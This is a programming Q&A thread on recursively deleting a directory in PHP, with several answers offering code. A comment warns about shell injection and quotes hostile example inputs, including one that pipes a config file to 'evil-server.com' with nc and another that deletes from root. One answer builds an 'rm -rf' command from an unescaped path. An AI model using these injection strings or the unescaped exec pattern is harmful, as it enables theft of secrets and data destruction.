28

I am using PHP to move the contents of a images subfolder

GalleryName/images/

into another folder. After the move, I need to delete the GalleryName directory and everything else inside it.

I know that rmdir() won't work unless the directory is empty. I've spent a while trying to build a recursive function to scandir() starting from the top and then unlink() if it's a file and scandir() if it's a directory, then rmdir() each empty directory as I go.

So far it's not working exactly right, and I began to think -- isn't this a ridiculously simple function that PHP should be able to do? Removing a directory?

So is there something I'm missing? Or is there at least a proven function that people use for this action?

Any help would be appreciated.

PS I trust you all here more than the comments on the php.net site -- there are hundreds of functions there but I am interested to hear if any of you here recommend one over others.

cweiske
  • 30,033
  • 14
  • 133
  • 194
rhodesjason
  • 4,904
  • 9
  • 43
  • 59

7 Answers7

91

What about this?

function rmdir_recursive($dirPath){
    if(!empty($dirPath) && is_dir($dirPath) ){
        $dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
        $files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $path) 
            $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        rmdir($dirPath);
        return true;
    }
    return false;
}
T.Todua
  • 53,146
  • 19
  • 236
  • 237
barbushin
  • 5,165
  • 5
  • 37
  • 43
  • 13
    +1 for the shortest code and probably the best & fastest working solution :) – tftd Apr 24 '13 at 16:45
  • 1
    Nice one, don't forget to add rmdir($dirPath) afer the foreach, otherwise, it will only delete files. – Ant Oct 07 '13 at 02:06
  • @Cooluhuru Added rmdir() call. Thanks! – barbushin Oct 07 '13 at 14:02
  • 3
    `$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname());` should be `$path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname());` so links are handled. – mattalxndr Apr 16 '14 at 18:41
  • 1
    Seems to be the best solution as it apparently will work on any OS. – Francisco Luz Jan 17 '15 at 02:49
  • @barbushin Can you upload this code snippet to github with a MIT license so that I can use it or is it short enough so I can use it without complying to the stack overflow license cc-by-sa? – MADforFUNandHappy Jun 12 '19 at 19:04
  • The `!empty($dirPath)` isn't needed; and with it it's impossible to remove a directory named `0` – Fravadona Jun 30 '23 at 11:42
14

This is the recursive function I've created/modifed and that finally seems to be working. Hopefully there isn't anything too dangerous in it.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        }; 
    } 
    return rmdir($dir); 
} 
Nate Cook
  • 92,417
  • 32
  • 217
  • 178
rhodesjason
  • 4,904
  • 9
  • 43
  • 59
2

If the server of application runs linux, just use the shell_exec() function, and provide it the rm -R command, like this:

    $realPath = realpath($dir_path);

    if($realPath === FALSE){
         throw new \Exception('Directory does not exist');
    }

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

Explanation:

Removes the specified directory recursively only if the path exists and escapes the path so that it can only be used as a shell argument to avoid shell command injection.

If you wouldnt use escapeshellarg one could execute commands by naming the directory to be removed after a command.

Valentoni
  • 308
  • 4
  • 19
  • 1
    depending on where `$dir_path` comes from, you might introduce a very large security problem. Suppose, I somehow set `$dir_path = "-F --no-preserve-root /";` or maybe just `$dir_path = "; cat config/config.php | nc evil-server.com 80 ;";` well, the possibilities are endless. – amenthes Sep 26 '16 at 21:49
  • @amenthes yes, but you could wrap $dir_path in realpath() to avoid this – MADforFUNandHappy Apr 22 '19 at 15:10
  • 2
    One could, but the example above doesn't. And as it stands now, it's a dangerous piece of advice to give. This answer has been viewed 32.000 times at the time of me writing this. If just 0.1% copied this verbatim in the wrong situation, that's 32 people with a gaping security problem. – amenthes Apr 22 '19 at 22:13
0

I've adapted a function which handles hidden unix files with the dot prefix and uses glob:

public static function deleteDir($path) {
    if (!is_dir($path)) {
        throw new InvalidArgumentException("$path is not a directory");
    }
    if (substr($path, strlen($path) - 1, 1) != '/') {
        $path .= '/';
    }
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) {
        if (basename($file) == '.' || basename($file) == '..') {
            continue;
        } else if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}
Aram Kocharyan
  • 20,165
  • 11
  • 81
  • 96
0

There is another thread with more examples here: How do I recursively delete a directory and its entire contents (files + sub dirs) in PHP?

If you are using Yii then you can leave it to the framework:

CFileHelper::removeDirectory($my_directory);
Community
  • 1
  • 1
David Newcomb
  • 10,639
  • 3
  • 49
  • 62
0

I prefer an enhaced method derived from the php help pages http://php.net/manual/en/function.rmdir.php#115598

 // check accidential empty, root or relative pathes
 if (!empty($path) && ...)
 {
  if (PHP_OS === 'Windows')
  {
    exec('rd /s /q "'.$path.'"');
  }
  else
  {
      exec('rm -rf "'.$path.'"');
  }
}
else
{
    error_log('path not valid:$path'.var_export($path, true));
}

reasons for my decision:

  • less code
  • speed
  • keep it simple
0
public static function rrmdir($dir)
{
    if (is_dir($dir)) {
        $files = scandir($dir);
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                if (filetype($dir . "/" . $file) == "dir")
                    self::rrmdir($dir . "/" . $file);
                else
                    unlink($dir . "/" . $file);
            }
        }
        reset($files);
        rmdir($dir);
    }
}
yousef
  • 1,240
  • 12
  • 13